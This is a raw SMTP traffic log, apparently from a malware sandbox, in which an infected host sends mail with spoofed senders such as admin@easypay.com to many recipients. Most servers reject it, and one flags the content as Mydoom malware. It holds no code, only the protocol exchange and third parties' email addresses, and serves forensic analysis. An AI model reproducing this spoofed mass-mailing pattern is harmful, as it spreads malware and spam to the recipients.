Oct 31, 2022 12:20:20.263309002 CET	25	49876	142.250.153.26	192.168.2.5	354 Go ahead dm19-20020a170907949300b007aa784a3cb8si6288041ejc.687 - gsmtp
Oct 31, 2022 12:20:20.368788958 CET	25	49876	142.250.153.26	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. dm19-20020a170907949300b007aa784a3cb8si6288041ejc.687 - gsmtp
Oct 31, 2022 12:20:20.369961977 CET	25	49878	173.194.76.27	192.168.2.5	250 2.1.5 OK bo29-20020a056000069d00b00228d8b600e2si4455114wrb.418 - gsmtp
Oct 31, 2022 12:20:20.370222092 CET	49878	25	192.168.2.5	173.194.76.27	DATA
Oct 31, 2022 12:20:20.403512955 CET	25	49878	173.194.76.27	192.168.2.5	354 Go ahead bo29-20020a056000069d00b00228d8b600e2si4455114wrb.418 - gsmtp
Oct 31, 2022 12:20:20.592475891 CET	25	49878	173.194.76.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. bo29-20020a056000069d00b00228d8b600e2si4455114wrb.418 - gsmtp
Oct 31, 2022 12:20:20.877350092 CET	25	49877	74.125.200.27	192.168.2.5	220 mx.google.com ESMTP y7-20020a1709027c8700b0017db9b9d54asi8133984pll.300 - gsmtp
Oct 31, 2022 12:20:20.877878904 CET	49877	25	192.168.2.5	74.125.200.27	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:21.409396887 CET	25	49877	74.125.200.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:21.409662008 CET	49877	25	192.168.2.5	74.125.200.27	MAIL FROM: <steve@aol.com>
Oct 31, 2022 12:20:21.524986029 CET	25	49880	74.125.200.27	192.168.2.5	220 mx.google.com ESMTP n13-20020a170902d2cd00b00186bb2e85c4si9555289plc.429 - gsmtp
Oct 31, 2022 12:20:21.557900906 CET	49880	25	192.168.2.5	74.125.200.27	HELO alt1.aspmx.l.google.com
Oct 31, 2022 12:20:21.938997984 CET	25	49877	74.125.200.27	192.168.2.5	250 2.1.0 OK y7-20020a1709027c8700b0017db9b9d54asi8133984pll.300 - gsmtp
Oct 31, 2022 12:20:21.940268993 CET	49877	25	192.168.2.5	74.125.200.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:22.093851089 CET	25	49880	74.125.200.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:22.094005108 CET	49880	25	192.168.2.5	74.125.200.27	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:20:22.482475042 CET	25	49877	74.125.200.27	192.168.2.5	250 2.1.5 OK y7-20020a1709027c8700b0017db9b9d54asi8133984pll.300 - gsmtp
Oct 31, 2022 12:20:22.482853889 CET	49877	25	192.168.2.5	74.125.200.27	DATA
Oct 31, 2022 12:20:22.627703905 CET	25	49880	74.125.200.27	192.168.2.5	250 2.1.0 OK n13-20020a170902d2cd00b00186bb2e85c4si9555289plc.429 - gsmtp
Oct 31, 2022 12:20:22.627895117 CET	49880	25	192.168.2.5	74.125.200.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:23.011976004 CET	25	49877	74.125.200.27	192.168.2.5	354 Go ahead y7-20020a1709027c8700b0017db9b9d54asi8133984pll.300 - gsmtp
Oct 31, 2022 12:20:23.233756065 CET	25	49880	74.125.200.27	192.168.2.5	250 2.1.5 OK n13-20020a170902d2cd00b00186bb2e85c4si9555289plc.429 - gsmtp
Oct 31, 2022 12:20:23.236289978 CET	49880	25	192.168.2.5	74.125.200.27	DATA
Oct 31, 2022 12:20:23.769947052 CET	25	49880	74.125.200.27	192.168.2.5	354 Go ahead n13-20020a170902d2cd00b00186bb2e85c4si9555289plc.429 - gsmtp
Oct 31, 2022 12:20:24.323452950 CET	25	49877	74.125.200.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. y7-20020a1709027c8700b0017db9b9d54asi8133984pll.300 - gsmtp
Oct 31, 2022 12:20:24.490103006 CET	25	49910	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP h1-20020a2ea481000000b0025e596e1b57si4883993lji.282 - gsmtp
Oct 31, 2022 12:20:24.490329981 CET	49910	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:24.547545910 CET	25	49910	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:24.547766924 CET	49910	25	192.168.2.5	142.250.150.27	MAIL FROM: <steve@aol.com>
Oct 31, 2022 12:20:24.602372885 CET	25	49910	142.250.150.27	192.168.2.5	250 2.1.0 OK h1-20020a2ea481000000b0025e596e1b57si4883993lji.282 - gsmtp
Oct 31, 2022 12:20:24.614094973 CET	49910	25	192.168.2.5	142.250.150.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:24.838577986 CET	25	49910	142.250.150.27	192.168.2.5	250 2.1.5 OK h1-20020a2ea481000000b0025e596e1b57si4883993lji.282 - gsmtp
Oct 31, 2022 12:20:24.838860989 CET	49910	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:20:24.893807888 CET	25	49910	142.250.150.27	192.168.2.5	354 Go ahead h1-20020a2ea481000000b0025e596e1b57si4883993lji.282 - gsmtp
Oct 31, 2022 12:20:25.093713045 CET	25	49910	142.250.150.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. h1-20020a2ea481000000b0025e596e1b57si4883993lji.282 - gsmtp
Oct 31, 2022 12:20:25.102123976 CET	25	49880	74.125.200.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. n13-20020a170902d2cd00b00186bb2e85c4si9555289plc.429 - gsmtp
Oct 31, 2022 12:20:25.135257959 CET	25	49911	104.47.66.10	192.168.2.5	220 MW2NAM12FT085.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Mon, 31 Oct 2022 11:20:24 +0000
Oct 31, 2022 12:20:25.135515928 CET	49911	25	192.168.2.5	104.47.66.10	HELO alumni-caltech-edu.mail.protection.outlook.com
Oct 31, 2022 12:20:25.283695936 CET	25	49917	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:20:25 -0400
Oct 31, 2022 12:20:25.284221888 CET	49917	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:20:25.284468889 CET	25	49918	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:20:25 -0400
Oct 31, 2022 12:20:25.284706116 CET	49918	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:20:25.305114031 CET	25	49911	104.47.66.10	192.168.2.5	250 MW2NAM12FT085.mail.protection.outlook.com Hello [102.129.143.15]
Oct 31, 2022 12:20:25.305367947 CET	49911	25	192.168.2.5	104.47.66.10	MAIL FROM: <helen@gmail.com>
Oct 31, 2022 12:20:25.384743929 CET	25	49813	85.187.148.2	192.168.2.5	250 Accepted
Oct 31, 2022 12:20:25.384989023 CET	49813	25	192.168.2.5	85.187.148.2	DATA
Oct 31, 2022 12:20:25.430970907 CET	25	49917	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:20:25.431230068 CET	49917	25	192.168.2.5	209.51.188.92	MAIL FROM: <andrew@hotmail.com>
Oct 31, 2022 12:20:25.431866884 CET	25	49918	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:20:25.432123899 CET	49918	25	192.168.2.5	209.51.188.92	MAIL FROM: <andrew@hotmail.com>
Oct 31, 2022 12:20:25.475101948 CET	25	49911	104.47.66.10	192.168.2.5	250 2.1.0 Sender OK
Oct 31, 2022 12:20:25.475315094 CET	49911	25	192.168.2.5	104.47.66.10	RCPT TO: <madler@alumni.caltech.edu>
Oct 31, 2022 12:20:25.539366007 CET	25	49813	85.187.148.2	192.168.2.5	354 Enter message, ending with "." on a line by itself
Oct 31, 2022 12:20:25.555871010 CET	25	49920	142.250.141.27	192.168.2.5	220 mx.google.com ESMTP l64-20020a638843000000b00455074c7901si9284705pgd.36 - gsmtp
Oct 31, 2022 12:20:25.568552971 CET	49920	25	192.168.2.5	142.250.141.27	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:25.574677944 CET	25	49917	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:25.576081991 CET	25	49918	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:25.583019018 CET	49917	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype-devel@nongnu.org>
Oct 31, 2022 12:20:25.583043098 CET	49918	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype@nongnu.org>
Oct 31, 2022 12:20:25.645622969 CET	25	49911	104.47.66.10	192.168.2.5	550 5.7.1 Service unavailable, Client host [102.129.143.15] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.15 AS(1440) [MW2NAM12FT085.eop-nam12.prod.protection.outlook.com]
Oct 31, 2022 12:20:25.684102058 CET	25	49916	142.250.157.26	192.168.2.5	220 mx.google.com ESMTP l132-20020a633e8a000000b0046aff26fe6dsi9460434pga.498 - gsmtp
Oct 31, 2022 12:20:25.688065052 CET	49916	25	192.168.2.5	142.250.157.26	HELO alt2.aspmx.l.google.com
Oct 31, 2022 12:20:25.805594921 CET	25	49920	142.250.141.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:25.806926012 CET	49920	25	192.168.2.5	142.250.141.27	MAIL FROM: <steve@aol.com>
Oct 31, 2022 12:20:26.041302919 CET	25	49920	142.250.141.27	192.168.2.5	250 2.1.0 OK l64-20020a638843000000b00455074c7901si9284705pgd.36 - gsmtp
Oct 31, 2022 12:20:26.042923927 CET	49920	25	192.168.2.5	142.250.141.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:26.126179934 CET	25	49916	142.250.157.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:26.126492977 CET	49916	25	192.168.2.5	142.250.157.26	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:26.128992081 CET	25	49917	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:20:26.134728909 CET	25	49918	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:20:26.272423983 CET	25	49917	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:26.278966904 CET	25	49918	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:26.286298990 CET	25	49920	142.250.141.27	192.168.2.5	250 2.1.5 OK l64-20020a638843000000b00455074c7901si9284705pgd.36 - gsmtp
Oct 31, 2022 12:20:26.286595106 CET	49920	25	192.168.2.5	142.250.141.27	DATA
Oct 31, 2022 12:20:26.521233082 CET	25	49920	142.250.141.27	192.168.2.5	354 Go ahead l64-20020a638843000000b00455074c7901si9284705pgd.36 - gsmtp
Oct 31, 2022 12:20:26.560195923 CET	25	49916	142.250.157.26	192.168.2.5	250 2.1.0 OK l132-20020a633e8a000000b0046aff26fe6dsi9460434pga.498 - gsmtp
Oct 31, 2022 12:20:26.579569101 CET	49916	25	192.168.2.5	142.250.157.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:26.955941916 CET	25	49813	85.187.148.2	192.168.2.5	550-This message contains a virus or other harmful content 550 (Win.Malware.Mydoom-6804696-0)
Oct 31, 2022 12:20:27.084981918 CET	25	49916	142.250.157.26	192.168.2.5	250 2.1.5 OK l132-20020a633e8a000000b0046aff26fe6dsi9460434pga.498 - gsmtp
Oct 31, 2022 12:20:27.085189104 CET	49916	25	192.168.2.5	142.250.157.26	DATA
Oct 31, 2022 12:20:27.110637903 CET	25	49813	85.187.148.2	192.168.2.5	421 az1-ss24.a2hosting.com lost input connection
Oct 31, 2022 12:20:27.172920942 CET	25	49920	142.250.141.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. l64-20020a638843000000b00455074c7901si9284705pgd.36 - gsmtp
Oct 31, 2022 12:20:27.519110918 CET	25	49916	142.250.157.26	192.168.2.5	354 Go ahead l132-20020a633e8a000000b0046aff26fe6dsi9460434pga.498 - gsmtp
Oct 31, 2022 12:20:28.609401941 CET	25	49916	142.250.157.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. l132-20020a633e8a000000b0046aff26fe6dsi9460434pga.498 - gsmtp
Oct 31, 2022 12:20:28.715704918 CET	25	49977	142.250.153.26	192.168.2.5	220 mx.google.com ESMTP p10-20020a05640210ca00b00460346c1763si6856619edu.449 - gsmtp
Oct 31, 2022 12:20:28.715866089 CET	49977	25	192.168.2.5	142.250.153.26	HELO aspmx2.googlemail.com
Oct 31, 2022 12:20:28.745879889 CET	25	49977	142.250.153.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:28.746407986 CET	49977	25	192.168.2.5	142.250.153.26	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:28.773485899 CET	25	49977	142.250.153.26	192.168.2.5	250 2.1.0 OK p10-20020a05640210ca00b00460346c1763si6856619edu.449 - gsmtp
Oct 31, 2022 12:20:28.773623943 CET	49977	25	192.168.2.5	142.250.153.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:28.919524908 CET	25	49977	142.250.153.26	192.168.2.5	250 2.1.5 OK p10-20020a05640210ca00b00460346c1763si6856619edu.449 - gsmtp
Oct 31, 2022 12:20:28.919699907 CET	49977	25	192.168.2.5	142.250.153.26	DATA
Oct 31, 2022 12:20:28.946986914 CET	25	49977	142.250.153.26	192.168.2.5	354 Go ahead p10-20020a05640210ca00b00460346c1763si6856619edu.449 - gsmtp
Oct 31, 2022 12:20:29.060305119 CET	25	49977	142.250.153.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. p10-20020a05640210ca00b00460346c1763si6856619edu.449 - gsmtp
Oct 31, 2022 12:20:29.103015900 CET	25	49854	85.187.148.2	192.168.2.5	220-az1-ss24.a2hosting.com ESMTP Exim 4.95 #2 Mon, 31 Oct 2022 04:20:29 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 31, 2022 12:20:29.103425980 CET	49854	25	192.168.2.5	85.187.148.2	HELO gzip.org
Oct 31, 2022 12:20:29.257910013 CET	25	49854	85.187.148.2	192.168.2.5	250 az1-ss24.a2hosting.com Hello gzip.org [102.129.143.15]
Oct 31, 2022 12:20:29.258126974 CET	49854	25	192.168.2.5	85.187.148.2	MAIL FROM: <john@yahoo.com>
Oct 31, 2022 12:20:29.315063953 CET	25	49987	217.69.139.150	192.168.2.5	220 mxs.mail.ru ESMTP ready
Oct 31, 2022 12:20:29.315273046 CET	49987	25	192.168.2.5	217.69.139.150	HELO mxs.mail.ru
Oct 31, 2022 12:20:29.380657911 CET	25	49987	217.69.139.150	192.168.2.5	250 mxs.mail.ru
Oct 31, 2022 12:20:29.380919933 CET	49987	25	192.168.2.5	217.69.139.150	MAIL FROM: <Fyodor@rambler.ru>
Oct 31, 2022 12:20:29.382415056 CET	25	49982	198.252.153.129	192.168.2.5	220-mx1.riseup.net ESMTP (spam is not appreciated)
Oct 31, 2022 12:20:29.385173082 CET	49982	25	192.168.2.5	198.252.153.129	HELO mx1.riseup.net
Oct 31, 2022 12:20:29.413006067 CET	25	49854	85.187.148.2	192.168.2.5	250 OK
Oct 31, 2022 12:20:29.413875103 CET	49854	25	192.168.2.5	85.187.148.2	RCPT TO: <jloup@gzip.org>
Oct 31, 2022 12:20:29.446002960 CET	25	49987	217.69.139.150	192.168.2.5	250 2.0.0 OK
Oct 31, 2022 12:20:29.446198940 CET	49987	25	192.168.2.5	217.69.139.150	RCPT TO: <lastguru@mail.ru>
Oct 31, 2022 12:20:29.514080048 CET	25	49987	217.69.139.150	192.168.2.5	250 Go ahead
Oct 31, 2022 12:20:29.514408112 CET	49987	25	192.168.2.5	217.69.139.150	DATA
Oct 31, 2022 12:20:29.559146881 CET	25	49982	198.252.153.129	192.168.2.5	250 mx1.riseup.net
Oct 31, 2022 12:20:29.560570955 CET	49982	25	192.168.2.5	198.252.153.129	MAIL FROM: <support@wmtransfer.com>
Oct 31, 2022 12:20:29.579467058 CET	25	49987	217.69.139.150	192.168.2.5	354 Go ahead. End your data with <CR><LF>.<CR><LF>
Oct 31, 2022 12:20:29.734292030 CET	25	49982	198.252.153.129	192.168.2.5	250 2.1.0 Ok
Oct 31, 2022 12:20:29.734581947 CET	49982	25	192.168.2.5	198.252.153.129	RCPT TO: <currojerez@riseup.net>
Oct 31, 2022 12:20:29.819067001 CET	25	49981	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP nu7-20020a17090b1b0700b00213a9e1fa86si10250870pjb.73 - gsmtp
Oct 31, 2022 12:20:29.819258928 CET	49981	25	192.168.2.5	74.125.200.26	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:29.884073973 CET	25	49984	142.250.157.27	192.168.2.5	220 mx.google.com ESMTP h6-20020a056a00218600b0056be3585c3asi9031595pfi.266 - gsmtp
Oct 31, 2022 12:20:29.885042906 CET	49984	25	192.168.2.5	142.250.157.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:29.908318996 CET	25	49982	198.252.153.129	192.168.2.5	550 5.5.1 Protocol error
Oct 31, 2022 12:20:29.999893904 CET	25	49983	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP lr18-20020a17090b4b9200b00212221d926bsi8019061pjb.150 - gsmtp
Oct 31, 2022 12:20:30.005419970 CET	49983	25	192.168.2.5	74.125.200.26	HELO alt1.aspmx.l.google.com
Oct 31, 2022 12:20:30.187005043 CET	25	49987	217.69.139.150	192.168.2.5	550 spam message rejected. Please visit http://help.mail.ru/notspam-support/id?c=P6S_FpNxB6sGaez1cpT2pDYuPhwyEUUwQ6IRRx4N6mD1B4oK3HRnmANXHIMJ2mSiKwAAAAgIAQD387Mx or report details to abuse@corp.mail.ru. Error code: 16BFA43FAB077193F5EC6906A4F694721C3E2E36304511324711A24360EA0D1E0A8A07F5986774DC831C5703A264DA09. ID: 0000002B0001080831B3F3F7.
Oct 31, 2022 12:20:30.329840899 CET	25	49984	142.250.157.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:30.330161095 CET	49984	25	192.168.2.5	142.250.157.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:30.343714952 CET	25	49981	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:30.343992949 CET	49981	25	192.168.2.5	74.125.200.26	MAIL FROM: <linda@gmail.com>
Oct 31, 2022 12:20:30.538213968 CET	25	49983	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:30.539294958 CET	49983	25	192.168.2.5	74.125.200.26	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:30.770721912 CET	25	49984	142.250.157.27	192.168.2.5	250 2.1.0 OK h6-20020a056a00218600b0056be3585c3asi9031595pfi.266 - gsmtp
Oct 31, 2022 12:20:30.771145105 CET	49984	25	192.168.2.5	142.250.157.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:30.866317987 CET	25	49981	74.125.200.26	192.168.2.5	250 2.1.0 OK nu7-20020a17090b1b0700b00213a9e1fa86si10250870pjb.73 - gsmtp
Oct 31, 2022 12:20:30.866765976 CET	49981	25	192.168.2.5	74.125.200.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:31.070086002 CET	25	49983	74.125.200.26	192.168.2.5	250 2.1.0 OK lr18-20020a17090b4b9200b00212221d926bsi8019061pjb.150 - gsmtp
Oct 31, 2022 12:20:31.070245028 CET	49983	25	192.168.2.5	74.125.200.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:31.222065926 CET	25	49984	142.250.157.27	192.168.2.5	250 2.1.5 OK h6-20020a056a00218600b0056be3585c3asi9031595pfi.266 - gsmtp
Oct 31, 2022 12:20:31.222368956 CET	49984	25	192.168.2.5	142.250.157.27	DATA
Oct 31, 2022 12:20:31.402590990 CET	25	49981	74.125.200.26	192.168.2.5	250 2.1.5 OK nu7-20020a17090b1b0700b00213a9e1fa86si10250870pjb.73 - gsmtp
Oct 31, 2022 12:20:31.403150082 CET	49981	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:20:31.663105011 CET	25	49984	142.250.157.27	192.168.2.5	354 Go ahead h6-20020a056a00218600b0056be3585c3asi9031595pfi.266 - gsmtp
Oct 31, 2022 12:20:31.666049957 CET	25	49983	74.125.200.26	192.168.2.5	250 2.1.5 OK lr18-20020a17090b4b9200b00212221d926bsi8019061pjb.150 - gsmtp
Oct 31, 2022 12:20:31.672848940 CET	49983	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:20:31.925086975 CET	25	49981	74.125.200.26	192.168.2.5	354 Go ahead nu7-20020a17090b1b0700b00213a9e1fa86si10250870pjb.73 - gsmtp
Oct 31, 2022 12:20:32.204090118 CET	25	49983	74.125.200.26	192.168.2.5	354 Go ahead lr18-20020a17090b4b9200b00212221d926bsi8019061pjb.150 - gsmtp
Oct 31, 2022 12:20:32.758433104 CET	25	49984	142.250.157.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. h6-20020a056a00218600b0056be3585c3asi9031595pfi.266 - gsmtp
Oct 31, 2022 12:20:32.903244019 CET	25	50031	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP k15-20020a2ea28f000000b002770e9000b3si3732454lja.158 - gsmtp
Oct 31, 2022 12:20:32.907835960 CET	50031	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:32.964898109 CET	25	50031	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:32.965118885 CET	50031	25	192.168.2.5	142.250.150.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:33.019001007 CET	25	50031	142.250.150.27	192.168.2.5	250 2.1.0 OK k15-20020a2ea28f000000b002770e9000b3si3732454lja.158 - gsmtp
Oct 31, 2022 12:20:33.019355059 CET	50031	25	192.168.2.5	142.250.150.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:33.184474945 CET	25	49981	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. nu7-20020a17090b1b0700b00213a9e1fa86si10250870pjb.73 - gsmtp
Oct 31, 2022 12:20:33.239011049 CET	25	50031	142.250.150.27	192.168.2.5	250 2.1.5 OK k15-20020a2ea28f000000b002770e9000b3si3732454lja.158 - gsmtp
Oct 31, 2022 12:20:33.239408970 CET	50031	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:20:33.294864893 CET	25	50031	142.250.150.27	192.168.2.5	354 Go ahead k15-20020a2ea28f000000b002770e9000b3si3732454lja.158 - gsmtp
Oct 31, 2022 12:20:33.296334982 CET	25	50035	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP oz30-20020a1709077d9e00b007ad902cd1b2si8055883ejc.921 - gsmtp
Oct 31, 2022 12:20:33.296540976 CET	50035	25	192.168.2.5	142.250.147.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:33.340745926 CET	25	50035	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:33.340992928 CET	50035	25	192.168.2.5	142.250.147.27	MAIL FROM: <linda@gmail.com>
Oct 31, 2022 12:20:33.382219076 CET	25	50035	142.250.147.27	192.168.2.5	250 2.1.0 OK oz30-20020a1709077d9e00b007ad902cd1b2si8055883ejc.921 - gsmtp
Oct 31, 2022 12:20:33.382356882 CET	50035	25	192.168.2.5	142.250.147.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:33.461002111 CET	25	50031	142.250.150.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. k15-20020a2ea28f000000b002770e9000b3si3732454lja.158 - gsmtp
Oct 31, 2022 12:20:33.522468090 CET	25	49983	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. lr18-20020a17090b4b9200b00212221d926bsi8019061pjb.150 - gsmtp
Oct 31, 2022 12:20:33.559814930 CET	25	50039	74.125.140.26	192.168.2.5	220 mx.google.com ESMTP p8-20020adfcc88000000b0022e77162d64si4732294wrj.510 - gsmtp
Oct 31, 2022 12:20:33.560074091 CET	50039	25	192.168.2.5	74.125.140.26	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:33.569533110 CET	25	50035	142.250.147.27	192.168.2.5	250 2.1.5 OK oz30-20020a1709077d9e00b007ad902cd1b2si8055883ejc.921 - gsmtp
Oct 31, 2022 12:20:33.569660902 CET	50035	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:33.596596003 CET	25	50039	74.125.140.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:33.596752882 CET	50039	25	192.168.2.5	74.125.140.26	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:33.612673998 CET	25	50035	142.250.147.27	192.168.2.5	354 Go ahead oz30-20020a1709077d9e00b007ad902cd1b2si8055883ejc.921 - gsmtp
Oct 31, 2022 12:20:33.630069971 CET	25	50039	74.125.140.26	192.168.2.5	250 2.1.0 OK p8-20020adfcc88000000b0022e77162d64si4732294wrj.510 - gsmtp
Oct 31, 2022 12:20:33.630223989 CET	50039	25	192.168.2.5	74.125.140.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:33.631860971 CET	25	50042	74.125.133.27	192.168.2.5	220 mx.google.com ESMTP bx10-20020a5d5b0a000000b0022cdb0baec9si4594027wrb.909 - gsmtp
Oct 31, 2022 12:20:33.632002115 CET	50042	25	192.168.2.5	74.125.133.27	HELO aspmx.l.google.com
Oct 31, 2022 12:20:33.678860903 CET	25	50042	74.125.133.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:33.695651054 CET	50042	25	192.168.2.5	74.125.133.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:33.723826885 CET	25	50035	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. oz30-20020a1709077d9e00b007ad902cd1b2si8055883ejc.921 - gsmtp
Oct 31, 2022 12:20:33.729557037 CET	25	50042	74.125.133.27	192.168.2.5	250 2.1.0 OK bx10-20020a5d5b0a000000b0022cdb0baec9si4594027wrb.909 - gsmtp
Oct 31, 2022 12:20:33.729672909 CET	50042	25	192.168.2.5	74.125.133.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:33.807089090 CET	25	50039	74.125.140.26	192.168.2.5	250 2.1.5 OK p8-20020adfcc88000000b0022e77162d64si4732294wrj.510 - gsmtp
Oct 31, 2022 12:20:33.807363987 CET	50039	25	192.168.2.5	74.125.140.26	DATA
Oct 31, 2022 12:20:33.840504885 CET	25	50039	74.125.140.26	192.168.2.5	354 Go ahead p8-20020adfcc88000000b0022e77162d64si4732294wrj.510 - gsmtp
Oct 31, 2022 12:20:33.867280960 CET	25	50047	142.250.150.26	192.168.2.5	220 mx.google.com ESMTP l18-20020a2e7012000000b002770fa5f280si3829713ljc.222 - gsmtp
Oct 31, 2022 12:20:33.877727032 CET	25	50042	74.125.133.27	192.168.2.5	250 2.1.5 OK bx10-20020a5d5b0a000000b0022cdb0baec9si4594027wrb.909 - gsmtp
Oct 31, 2022 12:20:33.880099058 CET	50047	25	192.168.2.5	142.250.150.26	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:33.880161047 CET	50042	25	192.168.2.5	74.125.133.27	DATA
Oct 31, 2022 12:20:33.914216042 CET	25	50042	74.125.133.27	192.168.2.5	354 Go ahead bx10-20020a5d5b0a000000b0022cdb0baec9si4594027wrb.909 - gsmtp
Oct 31, 2022 12:20:33.944641113 CET	25	50047	142.250.150.26	192.168.2.5	250 mx.google.com at your service
